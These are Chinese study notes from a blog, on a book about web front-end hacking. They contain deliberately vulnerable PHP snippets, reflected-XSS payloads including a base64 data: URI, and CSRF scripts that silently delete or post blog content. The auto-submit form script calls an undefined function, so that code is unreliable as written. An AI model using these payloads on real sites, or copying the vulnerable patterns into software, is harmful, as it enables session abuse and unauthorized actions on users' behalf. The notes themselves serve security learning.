Web前端黑客技术揭秘 笔记3

一.CSS容错性

<link rel="stylesheet" href="test.html">
<h1>xxxx</h1>

h1{
    font-size:50px;
    color:red;
    </style>
    <div>xxx</div>
    }h2{color:green;}
<title>1</title>
...
<div>...</div>
{}h1{font-size:50x;}
如果h1之前有大量非法的字符串,加上{}即可,IE加上}即可

二.XSS类型

2.1反射型xss

如reflect1.php

<?php
 echo $_GET['x'];
?>
可以提交

http://www.foo.com/xss/reflect1.php?x=<script>alert(1)</script>
如reflect2.php

<?php
    header('Location: '.$_GET['x']);
?>
x的值作为响应头部的Location字段值输出,意味着会发生跳转,触发XSS的其中一种方式如下

http://www.foo.com/book/reflect2.php?x=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ%2b

2.2 存储型XSS

提交的XSS代码会存储在服务器端,如留言板XSS

2.3  DOM XSS

不需要服务器解析响应的直接参与

http://www.webappsec.org/projects/articles/071105.shtml

三.CSRF

3.1可以跨域发出GET请求,但是不可以得到其响应内容

关键点:请求是身份验证后的

 

<script>
new Image().src='http://www.a.com/blog/del?id=1'
</script>

3.2 发送POST请求

<body> </body>
<script>
function new_form(){
    var f=document.createElement("form");
    document.body.appendChild(f);
    f.method="post";
    return f;
}
function create_elements(eForm,eName,eValue){
    //创建表单项函数,eForm表单对象,eName表单项,eValue表单项值
    var e=document.createElement("input");
    eForm.appendChild(e);
    e.type='text';
    e.name=eName;
    if(!document.all){
        e.style.display='none';
    }
    else{
        e.style.display='block';
        e.style.width='0px';
        e.style.height='0px';
    }
    e.value=eValue;
    return e;
}
var _f=new _form();
create_elements(_f,"title","hi");
create_elements(_f,"content","csrf_here");
_f.action="http://www.a.com/blog/add";
_f.submit();
</script>

3.3 xssprobe

https://github.com/evilcos/xssprobe

可以获取Cookie,flash版本信息



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值